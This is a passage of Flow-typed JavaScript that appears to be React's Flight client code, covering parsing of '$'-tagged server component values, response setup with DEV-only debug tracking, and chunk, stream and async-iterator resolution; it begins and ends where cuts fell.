'L': {\n        // Lazy node\n        const id = parseInt(value.slice(2), 16);\n        const chunk = getChunk(response, id);\n        if (enableProfilerTimer && enableComponentPerformanceTrack) {\n          if (\n            initializingChunk !== null &&\n            isArray(initializingChunk._children)\n          ) {\n            initializingChunk._children.push(chunk);\n          }\n        }\n        // We create a React.lazy wrapper around any lazy values.\n        // When passed into React, we'll know how to suspend on this.\n        return createLazyChunkWrapper(chunk, 0);\n      }\n      case '@': {\n        // Promise\n        const id = parseInt(value.slice(2), 16);\n        const chunk = getChunk(response, id);\n        if (enableProfilerTimer && enableComponentPerformanceTrack) {\n          if (\n            initializingChunk !== null &&\n            isArray(initializingChunk._children)\n          ) {\n            initializingChunk._children.push(chunk);\n          }\n        }\n        return chunk;\n      }\n      case 'S': {\n        // Symbol\n        return Symbol.for(value.slice(2));\n      }\n      case 'h': {\n        // Server Reference\n        const ref = value.slice(2);\n        return getOutlinedModel(\n          response,\n          ref,\n          parentObject,\n          key,\n          loadServerReference,\n        );\n      }\n      case 'T': {\n        // Temporary Reference\n        const reference = '$' + value.slice(2);\n        const temporaryReferences = response._tempRefs;\n        if (temporaryReferences == null) {\n          throw new Error(\n            'Missing a temporary reference set but the RSC response returned a temporary reference. ' +\n              'Pass a temporaryReference option with the set that was used with the reply.',\n          );\n        }\n        return readTemporaryReference(temporaryReferences, reference);\n      }\n      case 'Q': {\n        // Map\n        const ref = value.slice(2);\n        return getOutlinedModel(response, ref, parentObject, key, createMap);\n      }\n      case 'W': {\n        // Set\n        const ref = value.slice(2);\n        return getOutlinedModel(response, ref, parentObject, key, createSet);\n      }\n      case 'B': {\n        // Blob\n        const ref = value.slice(2);\n        return getOutlinedModel(response, ref, parentObject, key, createBlob);\n      }\n      case 'K': {\n        // FormData\n        const ref = value.slice(2);\n        return getOutlinedModel(\n          response,\n          ref,\n          parentObject,\n          key,\n          createFormData,\n        );\n      }\n      case 'Z': {\n        // Error\n        if (__DEV__) {\n          const ref = value.slice(2);\n          return getOutlinedModel(\n            response,\n            ref,\n            parentObject,\n            key,\n            resolveErrorDev,\n          );\n        } else {\n          return resolveErrorProd(response);\n        }\n      }\n      case 'i': {\n        // Iterator\n        const ref = value.slice(2);\n        return getOutlinedModel(\n          response,\n          ref,\n          parentObject,\n          key,\n          extractIterator,\n        );\n      }\n      case 'I': {\n        // $Infinity\n        return Infinity;\n      }\n      case '-': {\n        // $-0 or $-Infinity\n        if (value === '$-0') {\n          return -0;\n        } else {\n          return -Infinity;\n        }\n      }\n      case 'N': {\n        // $NaN\n        return NaN;\n      }\n      case 'u': {\n        // matches \"$undefined\"\n        // Special encoding for `undefined` which can't be serialized as JSON otherwise.\n        return undefined;\n      }\n      case 'D': {\n        // Date\n        return new Date(Date.parse(value.slice(2)));\n      }\n      case 'n': {\n        // BigInt\n        return BigInt(value.slice(2));\n      }\n      case 'P': {\n        if (__DEV__) {\n          // In DEV mode we allow debug objects to specify themselves as instances of\n          // another constructor.\n          const ref = value.slice(2);\n          return getOutlinedModel(\n            response,\n            ref,\n            parentObject,\n            key,\n            applyConstructor,\n          );\n        }\n        //Fallthrough\n      }\n      case 'E': {\n        if (__DEV__) {\n          // In DEV mode we allow indirect eval to produce functions for logging.\n          // This should not compile to eval() because then it has local scope access.\n          const code = value.slice(2);\n          try {\n            // If this might be a class constructor with a static initializer or\n            // static constructor then don't eval it. It might cause unexpected\n            // side-effects. Instead, fallback to parsing out the function type\n            // and name.\n            if (!mightHaveStaticConstructor.test(code)) {\n              // eslint-disable-next-line no-eval\n              return (0, eval)(code);\n            }\n          } catch (x) {\n            // Fallthrough to fallback case.\n          }\n          // We currently use this to express functions so we fail parsing it,\n          // let's just return a blank function as a place holder.\n          let fn;\n          try {\n            fn = getInferredFunctionApproximate(code);\n            if (code.startsWith('Object.defineProperty(')) {\n              const DESCRIPTOR = ',\"name\",{value:\"';\n              const idx = code.lastIndexOf(DESCRIPTOR);\n              if (idx !== -1) {\n                const name = JSON.parse(\n                  code.slice(idx + DESCRIPTOR.length - 1, code.length - 2),\n                );\n                // $FlowFixMe[cannot-write]\n                Object.defineProperty(fn, 'name', {value: name});\n              }\n            }\n          } catch (_) {\n            fn = function () {};\n          }\n          return fn;\n        }\n        // Fallthrough\n      }\n      case 'Y': {\n        if (__DEV__) {\n          if (value.length > 2) {\n            const debugChannelCallback =\n              response._debugChannel && response._debugChannel.callback;\n            if (debugChannelCallback) {\n              if (value[2] === '@') {\n                // This is a deferred Promise.\n                const ref = value.slice(3); // We assume this doesn't have a path just id.\n                const id = parseInt(ref, 16);\n                if (!response._chunks.has(id)) {\n                  // We haven't seen this id before. Query the server to start sending it.\n                  debugChannelCallback('P:' + ref);\n                }\n                // Start waiting. This now creates a pending chunk if it doesn't already exist.\n                // This is the actual Promise we're waiting for.\n                return getChunk(response, id);\n              }\n              const ref = value.slice(2); // We assume this doesn't have a path just id.\n              const id = parseInt(ref, 16);\n              if (!response._chunks.has(id)) {\n                // We haven't seen this id before. Query the server to start sending it.\n                debugChannelCallback('Q:' + ref);\n              }\n              // Start waiting. This now creates a pending chunk if it doesn't already exist.\n              const chunk = getChunk(response, id);\n              if (chunk.status === INITIALIZED) {\n                // We already loaded this before. We can just use the real value.\n                return chunk.value;\n              }\n              return defineLazyGetter(response, chunk, parentObject, key);\n            }\n          }\n\n          // In DEV mode we encode omitted objects in logs as a getter that throws\n          // so that when you try to access it on the client, you know why that\n          // happened.\n          if (key !== __PROTO__) {\n            Object.defineProperty(parentObject, key, {\n              get: function () {\n                // TODO: We should ideally throw here to indicate a difference.\n                return OMITTED_PROP_ERROR;\n              },\n              // no-op: the walk function may try to reassign this property\n              // after parseModelString returns. With the JSON.parse reviver,\n              // the engine's internal CreateDataProperty silently failed.\n              // We use a no-op setter to match that behavior in strict mode.\n              set: function () {},\n              enumerable: true,\n              configurable: false,\n            });\n          }\n          return null;\n        }\n        // Fallthrough\n      }\n      default: {\n        // We assume that anything else is a reference ID.\n        const ref = value.slice(1);\n        return getOutlinedModel(response, ref, parentObject, key, createModel);\n      }\n    }\n  }\n  return value;\n}\n\nfunction parseModelTuple(\n  response: Response,\n  value: {+[key: string]: JSONValue} | $ReadOnlyArray<JSONValue>,\n): any {\n  const tuple: [mixed, mixed, mixed, mixed] = (value: any);\n\n  if (tuple[0] === REACT_ELEMENT_TYPE) {\n    // TODO: Consider having React just directly accept these arrays as elements.\n    // Or even change the ReactElement type to be an array.\n    return createElement(\n      response,\n      tuple[1],\n      tuple[2],\n      tuple[3],\n      __DEV__ ? (tuple: any)[4] : null,\n      __DEV__ ? (tuple: any)[5] : null,\n      __DEV__ ? (tuple: any)[6] : 0,\n    );\n  }\n  return value;\n}\n\nfunction missingCall() {\n  throw new Error(\n    'Trying to call a function from \"use server\" but the callServer option ' +\n      'was not implemented in your router runtime.',\n  );\n}\n\nfunction markIOStarted(this: Response) {\n  this._debugIOStarted = true;\n}\n\nfunction ResponseInstance(\n  this: $FlowFixMe,\n  bundlerConfig: ServerConsumerModuleMap,\n  serverReferenceConfig: null | ServerManifest,\n  moduleLoading: ModuleLoading,\n  callServer: void | CallServerCallback,\n  encodeFormAction: void | EncodeFormActionCallback,\n  nonce: void | string,\n  temporaryReferences: void | TemporaryReferenceSet,\n  allowPartialStream: boolean,\n  findSourceMapURL: void | FindSourceMapURLCallback, // DEV-only\n  replayConsole: boolean, // DEV-only\n  environmentName: void | string, // DEV-only\n  debugStartTime: void | number, // DEV-only\n  debugEndTime: void | number, // DEV-only\n  debugChannel: void | DebugChannel, // DEV-only\n) {\n  const chunks: Map<number, SomeChunk<any>> = new Map();\n  this._bundlerConfig = bundlerConfig;\n  this._serverReferenceConfig = serverReferenceConfig;\n  this._moduleLoading = moduleLoading;\n  this._callServer = callServer !== undefined ? callServer : missingCall;\n  this._encodeFormAction = encodeFormAction;\n  this._nonce = nonce;\n  this._chunks = chunks;\n  this._stringDecoder = createStringDecoder();\n  this._closed = false;\n  this._closedReason = null;\n  this._allowPartialStream = allowPartialStream;\n  this._tempRefs = temporaryReferences;\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    this._timeOrigin = 0;\n    this._pendingInitialRender = null;\n  }\n  if (__DEV__) {\n    this._pendingChunks = 0;\n    this._weakResponse = {\n      weak: new WeakRef(this),\n      response: this,\n    };\n    // TODO: The Flight Client can be used in a Client Environment too and we should really support\n    // getting the owner there as well, but currently the owner of ReactComponentInfo is typed as only\n    // supporting other ReactComponentInfo as owners (and not Fiber or Fizz's ComponentStackNode).\n    // We need to update all the callsites consuming ReactComponentInfo owners to support those.\n    // In the meantime we only check ReactSharedInteralsServer since we know that in an RSC environment\n    // the only owners will be ReactComponentInfo.\n    const rootOwner: null | ReactComponentInfo =\n      ReactSharedInteralsServer === undefined ||\n      ReactSharedInteralsServer.A === null\n        ? null\n        : (ReactSharedInteralsServer.A.getOwner(): any);\n\n    this._debugRootOwner = rootOwner;\n    this._debugRootStack =\n      rootOwner !== null\n        ? // TODO: Consider passing the top frame in so we can avoid internals showing up.\n          new Error('react-stack-top-frame')\n        : null;\n\n    const rootEnv = environmentName === undefined ? 'Server' : environmentName;\n    if (supportsCreateTask) {\n      // Any stacks that appear on the server need to be rooted somehow on the client\n      // so we create a root Task for this response which will be the root owner for any\n      // elements created by the server. We use the \"use server\" string to indicate that\n      // this is where we enter the server from the client.\n      // TODO: Make this string configurable.\n      this._debugRootTask = (console: any).createTask(\n        '\"use ' + rootEnv.toLowerCase() + '\"',\n      );\n    }\n    if (enableAsyncDebugInfo) {\n      // Track the start of the fetch to the best of our knowledge.\n      // Note: createFromFetch allows this to be marked at the start of the fetch\n      // where as if you use createFromReadableStream from the body of the fetch\n      // then the start time is when the headers resolved.\n      this._debugStartTime =\n        debugStartTime == null ? performance.now() : debugStartTime;\n      this._debugIOStarted = false;\n      // We consider everything before the first setTimeout task to be cached data\n      // and is not considered I/O required to load the stream.\n      setTimeout(markIOStarted.bind(this), 0);\n    }\n    this._debugEndTime = debugEndTime == null ? null : debugEndTime;\n    this._debugFindSourceMapURL = findSourceMapURL;\n    this._debugChannel = debugChannel;\n    this._blockedConsole = null;\n    this._replayConsole = replayConsole;\n    this._rootEnvironmentName = rootEnv;\n    if (debugChannel) {\n      if (debugChannelRegistry === null) {\n        // We can't safely clean things up later, so we immediately close the\n        // debug channel.\n        closeDebugChannel(debugChannel);\n        this._debugChannel = undefined;\n      } else {\n        // When a Response gets GC:ed because nobody is referring to any of the\n        // objects that lazily load from the Response anymore, then we can close\n        // the debug channel.\n        debugChannelRegistry.register(this, debugChannel, this);\n      }\n    }\n  }\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    // Since we don't know when recording of profiles will start and stop, we have to\n    // mark the order over and over again.\n    if (replayConsole) {\n      markAllTracksInOrder();\n    }\n  }\n}\n\nexport function createResponse(\n  bundlerConfig: ServerConsumerModuleMap,\n  serverReferenceConfig: null | ServerManifest,\n  moduleLoading: ModuleLoading,\n  callServer: void | CallServerCallback,\n  encodeFormAction: void | EncodeFormActionCallback,\n  nonce: void | string,\n  temporaryReferences: void | TemporaryReferenceSet,\n  allowPartialStream: boolean,\n  findSourceMapURL: void | FindSourceMapURLCallback, // DEV-only\n  replayConsole: boolean, // DEV-only\n  environmentName: void | string, // DEV-only\n  debugStartTime: void | number, // DEV-only\n  debugEndTime: void | number, // DEV-only\n  debugChannel: void | DebugChannel, // DEV-only\n): WeakResponse {\n  if (__DEV__) {\n    // We use eval to create fake function stacks which includes Component stacks.\n    // A warning would be noise if you used Flight without Components and don't encounter\n    // errors. We're warning eagerly so that you configure your environment accordingly\n    // before you encounter an error.\n    checkEvalAvailabilityOnceDev();\n  }\n\n  return getWeakResponse(\n    // $FlowFixMe[invalid-constructor]: the shapes are exact here but Flow doesn't like constructors\n    new ResponseInstance(\n      bundlerConfig,\n      serverReferenceConfig,\n      moduleLoading,\n      callServer,\n      encodeFormAction,\n      nonce,\n      temporaryReferences,\n      allowPartialStream,\n      findSourceMapURL,\n      replayConsole,\n      environmentName,\n      debugStartTime,\n      debugEndTime,\n      debugChannel,\n    ),\n  );\n}\n\nexport type StreamState = {\n  _rowState: RowParserState,\n  _rowID: number, // parts of a row ID parsed so far\n  _rowTag: number, // 0 indicates that we're currently parsing the row ID\n  _rowLength: number, // remaining bytes in the row. 0 indicates that we're looking for a newline.\n  _buffer: Array<Uint8Array>, // chunks received so far as part of this row\n  _debugInfo: ReactIOInfo, // DEV-only\n  _debugTargetChunkSize: number, // DEV-only\n};\n\nexport function createStreamState(\n  weakResponse: WeakResponse, // DEV-only\n  streamDebugValue: mixed, // DEV-only\n): StreamState {\n  const streamState: StreamState = (({\n    _rowState: 0,\n    _rowID: 0,\n    _rowTag: 0,\n    _rowLength: 0,\n    _buffer: [],\n  }: Omit<StreamState, '_debugInfo' | '_debugTargetChunkSize'>): any);\n  if (__DEV__ && enableAsyncDebugInfo) {\n    const response = unwrapWeakResponse(weakResponse);\n    // Create an entry for the I/O to load the stream itself.\n    const debugValuePromise = Promise.resolve(streamDebugValue);\n    (debugValuePromise: any).status = 'fulfilled';\n    (debugValuePromise: any).value = streamDebugValue;\n    streamState._debugInfo = {\n      name: 'rsc stream',\n      start: response._debugStartTime,\n      end: response._debugStartTime, // will be updated once we finish a chunk\n      byteSize: 0, // will be updated as we resolve a data chunk\n      value: debugValuePromise,\n      owner: response._debugRootOwner,\n      debugStack: response._debugRootStack,\n      debugTask: response._debugRootTask,\n    };\n    streamState._debugTargetChunkSize = MIN_CHUNK_SIZE;\n  }\n  return streamState;\n}\n\n// Depending on set up the chunks of a TLS connection can vary in size. However in practice it's often\n// at 64kb or even multiples of 64kb. It can also be smaller but in practice it also happens that 64kb\n// is around what you can download on fast 4G connection in 300ms which is what we throttle reveals at\n// anyway. The net effect is that in practice, you won't really reveal anything in smaller units than\n// 64kb if they're revealing at maximum speed in production. Therefore we group smaller chunks into\n// these larger chunks since in production that's more realistic.\n// TODO: If the stream is compressed, then you could fit much more in a single 300ms so maybe it should\n// actually be larger.\nconst MIN_CHUNK_SIZE = 65536;\n\nfunction incrementChunkDebugInfo(\n  streamState: StreamState,\n  chunkLength: number,\n): void {\n  if (__DEV__ && enableAsyncDebugInfo) {\n    const debugInfo: ReactIOInfo = streamState._debugInfo;\n    const endTime = performance.now();\n    const previousEndTime = debugInfo.end;\n    const newByteLength = ((debugInfo.byteSize: any): number) + chunkLength;\n    if (\n      newByteLength > streamState._debugTargetChunkSize ||\n      endTime > previousEndTime + 10\n    ) {\n      // This new chunk would overshoot the chunk size so therefore we treat it as its own new chunk\n      // by cloning the old one. Similarly, if some time has passed we assume that it was actually\n      // due to the server being unable to flush chunks faster e.g. due to I/O so it would be a\n      // new chunk in production even if the buffer hasn't been reached.\n      streamState._debugInfo = {\n        name: debugInfo.name,\n        start: debugInfo.start,\n        end: endTime,\n        byteSize: newByteLength,\n        value: debugInfo.value,\n        owner: debugInfo.owner,\n        debugStack: debugInfo.debugStack,\n        debugTask: debugInfo.debugTask,\n      };\n      streamState._debugTargetChunkSize = newByteLength + MIN_CHUNK_SIZE;\n    } else {\n      // Otherwise we reuse the old chunk but update the end time and byteSize to the latest.\n      // $FlowFixMe[cannot-write]\n      debugInfo.end = endTime;\n      // $FlowFixMe[cannot-write]\n      debugInfo.byteSize = newByteLength;\n    }\n  }\n}\n\nfunction addAsyncInfo(chunk: SomeChunk<any>, asyncInfo: ReactAsyncInfo): void {\n  const value = resolveLazy(chunk.value);\n  if (\n    typeof value === 'object' &&\n    value !== null &&\n    (isArray(value) ||\n      typeof value[ASYNC_ITERATOR] === 'function' ||\n      value.$$typeof === REACT_ELEMENT_TYPE ||\n      value.$$typeof === REACT_LAZY_TYPE)\n  ) {\n    if (isArray(value._debugInfo)) {\n      // $FlowFixMe[method-unbinding]\n      value._debugInfo.push(asyncInfo);\n    } else if (!Object.isFrozen(value)) {\n      // TODO: Debug info is dropped for frozen elements. See the TODO in\n      // moveDebugInfoFromChunkToInnerValue.\n      Object.defineProperty((value: any), '_debugInfo', {\n        configurable: false,\n        enumerable: false,\n        writable: true,\n        value: [asyncInfo],\n      });\n    }\n  } else {\n    // $FlowFixMe[method-unbinding]\n    chunk._debugInfo.push(asyncInfo);\n  }\n}\n\nfunction resolveChunkDebugInfo(\n  response: Response,\n  streamState: StreamState,\n  chunk: SomeChunk<any>,\n): void {\n  if (__DEV__ && enableAsyncDebugInfo) {\n    // Only include stream information after a macrotask. Any chunk processed\n    // before that is considered cached data.\n    if (response._debugIOStarted) {\n      // Add the currently resolving chunk's debug info representing the stream\n      // to the Promise that was waiting on the stream, or its underlying value.\n      const asyncInfo: ReactAsyncInfo = {awaited: streamState._debugInfo};\n      if (chunk.status === PENDING || chunk.status === BLOCKED) {\n        const boundAddAsyncInfo = addAsyncInfo.bind(null, chunk, asyncInfo);\n        chunk.then(boundAddAsyncInfo, boundAddAsyncInfo);\n      } else {\n        addAsyncInfo(chunk, asyncInfo);\n      }\n    }\n  }\n}\n\nfunction resolveDebugHalt(response: Response, id: number): void {\n  const chunks = response._chunks;\n  let chunk = chunks.get(id);\n  if (!chunk) {\n    chunks.set(id, (chunk = createPendingChunk(response)));\n  } else {\n  }\n  if (chunk.status !== PENDING && chunk.status !== BLOCKED) {\n    return;\n  }\n  releasePendingChunk(response, chunk);\n  const haltedChunk: HaltedChunk<any> = (chunk: any);\n  haltedChunk.status = HALTED;\n  haltedChunk.value = null;\n  haltedChunk.reason = null;\n}\n\nfunction resolveModel(\n  response: Response,\n  id: number,\n  model: UninitializedModel,\n  streamState: StreamState,\n): void {\n  const chunks = response._chunks;\n  const chunk = chunks.get(id);\n  if (!chunk) {\n    const newChunk: ResolvedModelChunk<any> = createResolvedModelChunk(\n      response,\n      model,\n    );\n    if (__DEV__) {\n      resolveChunkDebugInfo(response, streamState, newChunk);\n    }\n    chunks.set(id, newChunk);\n  } else {\n    if (__DEV__) {\n      resolveChunkDebugInfo(response, streamState, chunk);\n    }\n    resolveModelChunk(response, chunk, model);\n  }\n}\n\nfunction resolveText(\n  response: Response,\n  id: number,\n  text: string,\n  streamState: StreamState,\n): void {\n  const chunks = response._chunks;\n  const chunk = chunks.get(id);\n  if (chunk && chunk.status !== PENDING) {\n    // If we get more data to an already resolved ID, we assume that it's\n    // a stream chunk since any other row shouldn't have more than one entry.\n    const streamChunk: InitializedStreamChunk<any> = (chunk: any);\n    const controller = streamChunk.reason;\n    controller.enqueueValue(text);\n    return;\n  }\n  if (chunk) {\n    releasePendingChunk(response, chunk);\n  }\n  const newChunk = createInitializedTextChunk(response, text);\n  if (__DEV__) {\n    resolveChunkDebugInfo(response, streamState, newChunk);\n  }\n  chunks.set(id, newChunk);\n}\n\nfunction resolveBuffer(\n  response: Response,\n  id: number,\n  buffer: $ArrayBufferView | ArrayBuffer,\n  streamState: StreamState,\n): void {\n  const chunks = response._chunks;\n  const chunk = chunks.get(id);\n  if (chunk && chunk.status !== PENDING) {\n    // If we get more data to an already resolved ID, we assume that it's\n    // a stream chunk since any other row shouldn't have more than one entry.\n    const streamChunk: InitializedStreamChunk<any> = (chunk: any);\n    const controller = streamChunk.reason;\n    controller.enqueueValue(buffer);\n    return;\n  }\n  if (chunk) {\n    releasePendingChunk(response, chunk);\n  }\n  const newChunk = createInitializedBufferChunk(response, buffer);\n  if (__DEV__) {\n    resolveChunkDebugInfo(response, streamState, newChunk);\n  }\n  chunks.set(id, newChunk);\n}\n\nfunction resolveModule(\n  response: Response,\n  id: number,\n  model: UninitializedModel,\n  streamState: StreamState,\n): void {\n  const chunks = response._chunks;\n  const chunk = chunks.get(id);\n  const clientReferenceMetadata: ClientReferenceMetadata = parseModel(\n    response,\n    model,\n  );\n  const clientReference = resolveClientReference<$FlowFixMe>(\n    response._bundlerConfig,\n    clientReferenceMetadata,\n  );\n\n  prepareDestinationForModule(\n    response._moduleLoading,\n    response._nonce,\n    clientReferenceMetadata,\n  );\n\n  // TODO: Add an option to encode modules that are lazy loaded.\n  // For now we preload all modules as early as possible since it's likely\n  // that we'll need them.\n  const promise = preloadModule(clientReference);\n  if (promise) {\n    let blockedChunk: BlockedChunk<any>;\n    if (!chunk) {\n      // Technically, we should just treat promise as the chunk in this\n      // case. Because it'll just behave as any other promise.\n      blockedChunk = createBlockedChunk(response);\n      chunks.set(id, blockedChunk);\n    } else {\n      releasePendingChunk(response, chunk);\n      // This can't actually happen because we don't have any forward\n      // references to modules.\n      blockedChunk = (chunk: any);\n      blockedChunk.status = BLOCKED;\n    }\n    if (__DEV__) {\n      resolveChunkDebugInfo(response, streamState, blockedChunk);\n    }\n    promise.then(\n      () => resolveModuleChunk(response, blockedChunk, clientReference),\n      error => triggerErrorOnChunk(response, blockedChunk, error),\n    );\n  } else {\n    if (!chunk) {\n      const newChunk = createResolvedModuleChunk(response, clientReference);\n      if (__DEV__) {\n        resolveChunkDebugInfo(response, streamState, newChunk);\n      }\n      chunks.set(id, newChunk);\n    } else {\n      if (__DEV__) {\n        resolveChunkDebugInfo(response, streamState, chunk);\n      }\n      // This can't actually happen because we don't have any forward\n      // references to modules.\n      resolveModuleChunk(response, chunk, clientReference);\n    }\n  }\n}\n\nfunction resolveStream<T: ReadableStream | $AsyncIterable<any, any, void>>(\n  response: Response,\n  id: number,\n  stream: T,\n  controller: FlightStreamController,\n  streamState: StreamState,\n): void {\n  const chunks = response._chunks;\n  const chunk = chunks.get(id);\n  if (!chunk) {\n    const newChunk = createInitializedStreamChunk(response, stream, controller);\n    if (__DEV__) {\n      resolveChunkDebugInfo(response, streamState, newChunk);\n    }\n    chunks.set(id, newChunk);\n    return;\n  }\n  if (__DEV__) {\n    resolveChunkDebugInfo(response, streamState, chunk);\n  }\n  if (chunk.status !== PENDING) {\n    // We already resolved. We didn't expect to see this.\n    return;\n  }\n\n  const resolveListeners = chunk.value;\n\n  if (__DEV__) {\n    // Initialize any debug info and block the initializing chunk on any\n    // unresolved entries.\n    if (chunk._debugChunk != null) {\n      const prevHandler = initializingHandler;\n      const prevChunk = initializingChunk;\n      initializingHandler = null;\n      const cyclicChunk: BlockedChunk<T> = (chunk: any);\n      cyclicChunk.status = BLOCKED;\n      cyclicChunk.value = null;\n      cyclicChunk.reason = null;\n      if ((enableProfilerTimer && enableComponentPerformanceTrack) || __DEV__) {\n        initializingChunk = cyclicChunk;\n      }\n      try {\n        initializeDebugChunk(response, chunk);\n        if (initializingHandler !== null) {\n          if (initializingHandler.errored) {\n            // Ignore error parsing debug info, we'll report the original error instead.\n          } else if (initializingHandler.deps > 0) {\n            // Leave blocked until we can resolve all the debug info.\n            initializingHandler.value = stream;\n            initializingHandler.reason = controller;\n            initializingHandler.chunk = cyclicChunk;\n            return;\n          }\n        }\n      } finally {\n        initializingHandler = prevHandler;\n        initializingChunk = prevChunk;\n      }\n    }\n  }\n\n  const resolvedChunk: InitializedStreamChunk<T> = (chunk: any);\n  resolvedChunk.status = INITIALIZED;\n  resolvedChunk.value = stream;\n  resolvedChunk.reason = controller;\n  if (resolveListeners !== null) {\n    wakeChunk(response, resolveListeners, chunk.value, (chunk: any));\n  } else {\n    if (__DEV__) {\n      processChunkDebugInfo(response, resolvedChunk, stream);\n    }\n  }\n}\n\nfunction startReadableStream<T>(\n  response: Response,\n  id: number,\n  type: void | 'bytes',\n  streamState: StreamState,\n): void {\n  let controller: ReadableStreamController = (null: any);\n  let closed = false;\n  const stream = new ReadableStream({\n    type: type,\n    start(c) {\n      controller = c;\n    },\n  });\n  let previousBlockedChunk: SomeChunk<T> | null = null;\n  const flightController = {\n    enqueueValue(value: T): void {\n      if (previousBlockedChunk === null) {\n        controller.enqueue(value);\n      } else {\n        // We're still waiting on a previous chunk so we can't enqueue quite yet.\n        previousBlockedChunk.then(function () {\n          controller.enqueue(value);\n        });\n      }\n    },\n    enqueueModel(json: UninitializedModel): void {\n      if (previousBlockedChunk === null) {\n        // If we're not blocked on any other chunks, we can try to eagerly initialize\n        // this as a fast-path to avoid awaiting them.\n        const chunk: ResolvedModelChunk<T> = createResolvedModelChunk(\n          response,\n          json,\n        );\n        initializeModelChunk(chunk);\n        const initializedChunk: SomeChunk<T> = chunk;\n        if (initializedChunk.status === INITIALIZED) {\n          controller.enqueue(initializedChunk.value);\n        } else {\n          chunk.then(\n            v => controller.enqueue(v),\n            e => controller.error((e: any)),\n          );\n          previousBlockedChunk = chunk;\n        }\n      } else {\n        // We're still waiting on a previous chunk so we can't enqueue quite yet.\n        const blockedChunk = previousBlockedChunk;\n        const chunk: SomeChunk<T> = createPendingChunk(response);\n        chunk.then(\n          v => controller.enqueue(v),\n          e => controller.error((e: any)),\n        );\n        previousBlockedChunk = chunk;\n        blockedChunk.then(function () {\n          if (previousBlockedChunk === chunk) {\n            // We were still the last chunk so we can now clear the queue and return\n            // to synchronous emitting.\n            previousBlockedChunk = null;\n          }\n          resolveModelChunk(response, chunk, json);\n        });\n      }\n    },\n    close(json: UninitializedModel): void {\n      if (closed) {\n        return;\n      }\n      closed = true;\n      if (previousBlockedChunk === null) {\n        controller.close();\n      } else {\n        const blockedChunk = previousBlockedChunk;\n        // We shouldn't get any more enqueues after this so we can set it back to null.\n        previousBlockedChunk = null;\n        blockedChunk.then(() => controller.close());\n      }\n    },\n    error(error: mixed): void {\n      if (closed) {\n        return;\n      }\n      closed = true;\n      if (previousBlockedChunk === null) {\n        // $FlowFixMe[incompatible-call]\n        controller.error(error);\n      } else {\n        const blockedChunk = previousBlockedChunk;\n        // We shouldn't get any more enqueues after this so we can set it back to null.\n        previousBlockedChunk = null;\n        blockedChunk.then(() => controller.error((error: any)));\n      }\n    },\n  };\n  resolveStream(response, id, stream, flightController, streamState);\n}\n\nfunction asyncIterator(this: $AsyncIterator<any, any, void>) {\n  // Self referencing iterator.\n  return this;\n}\n\nfunction createIterator<T>(\n  next: (arg: void) => SomeChunk<IteratorResult<T, T>>,\n): $AsyncIterator<T, T, void> {\n  const iterator: any = {\n    next: next,\n    // TODO: Add return/throw as options for aborting.\n  };\n  // TODO: The iterator could inherit the AsyncIterator prototype which is not exposed as\n  // a global but exists as a prototype of an AsyncGenerator. However, it's not needed\n  // to satisfy the iterable protocol.\n  (iterator: any)[ASYNC_ITERATOR] = asyncIterator;\n  return iterator;\n}\n\nfunction startAsyncIterable<T>(\n  response: Response,\n  id: number,\n  iterator: boolean,\n  streamState: StreamState,\n): void {\n  const buffer: Array<SomeChunk<IteratorResult<T, T>>> = [];\n  let closed = false;\n  let nextWriteIndex = 0;\n  const flightController = {\n    enqueueValue(value: T): void {\n      if (nextWriteIndex === buffer.length) {\n        buffer[nextWriteIndex] = createInitializedIteratorResultChunk(\n          response,\n          value,\n          false,\n        );\n      } else {\n        const chunk: PendingChunk<IteratorResult<T, T>> = (buffer[\n          nextWriteIndex\n        ]: any);\n        const resolveListeners = chunk.value;\n        const rejectListeners = chunk.reason;\n        const initializedChunk: InitializedChunk<IteratorResult<T, T>> =\n          (chunk: any);\n        initializedChunk.status = INITIALIZED;\n        initializedChunk.value = {done: false, value: value};\n        initializedChunk.reason = null;\n        if (resolveListeners !== null) {\n          wakeChunkIfInitialized(\n            response,\n            chunk,\n            resolveListeners,\n            rejectListeners,\n          );\n        }\n      }\n      nextWriteIndex++;\n    },\n    enqueueModel(value: UninitializedModel): void {\n      if (nextWriteIndex === buffer.length) {\n        buffer[nextWriteIndex] = createResolvedIteratorResultChunk(\n          response,\n          value,\n          false,\n        );\n      } else {\n        resolveIteratorResultChunk(\n          response,\n          buffer[nextWriteIndex],\n          value,\n          false,\n        );\n      }\n      nextWriteIndex++;\n    },\n    close(value: UninitializedModel): void {\n      if (closed) {\n        return;\n      }\n      closed = true;\n      if (nextWriteIndex === buffer.length) {\n        buffer[nextWriteIndex] = createResolvedIteratorResultChunk(\n          response,\n          value,\n          true,\n        );\n      } else {\n        resolveIteratorResultChunk(\n          response,\n          buffer[nextWriteIndex],\n          value,\n          true,\n        );\n      }\n      nextWriteIndex++;\n      while (nextWriteIndex < buffer.length) {\n        // In generators, any extra reads from the iterator have the value undefined.\n        resolveIteratorResultChunk(\n          response,\n          buffer[nextWriteIndex++],\n          '\"$undefined\"',\n          true,\n        );\n      }\n    },\n    error(error: Error): void {\n      if (closed) {\n        return;\n      }\n      closed = true;\n      if (nextWriteIndex === buffer.length) {\n        buffer[nextWriteIndex] =\n          createPendingChunk<IteratorResult<T, T>>(response);\n      }\n      while (nextWriteIndex < buffer.length) {\n        triggerErrorOnChunk(response, buffer[nextWriteIndex++], error);\n      }\n    },\n  };\n\n  const iterable: $AsyncIterable<T, T, void> = ({}: any);\n  // $FlowFixMe[cannot-write]\n  iterable[ASYNC_ITERATOR] = (): $AsyncIterator<T, T, void> => {\n    let nextReadIndex = 0;\n    return createIterator(arg => {\n      if (arg !== undefined) {\n        throw new Error(\n          'Values cannot be passed to next() of AsyncIterables passed to Client Components.',\n        );\n      }\n      if (nextReadIndex === buffer.length) {\n        if (closed) {\n          // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n          return new ReactPromise(\n            INITIALIZED,\n            {done: true, value: undefined},\n            null,\n          );\n        }\n        buffer[nextReadIndex] =\n          createPendingChunk<IteratorResult<T, T>>(response);\n      }\n      return buffer[nextReadIndex++];\n    });\n  };\n\n  // TODO: If it's a single shot iterator we can optimize memory by cleaning up the buffer after\n  // reading through the end, but currently we favor code size over this optimization.\n  resolveStream(\n    response,\n    id,\n    iterator ? iterable[ASYNC_ITERATOR]() : iterable,\n    flightController,\n    streamState,\n  );\n}\n\nfunction stopStream(\n  response: Response,\n  id: number,\n  row: UninitializedModel,\n): void {\n  const chunks = response._chunks;\n  const chunk = chunks.get(id);\n  if (!chunk || chunk.status !== INITIALIZED) {\n    // We 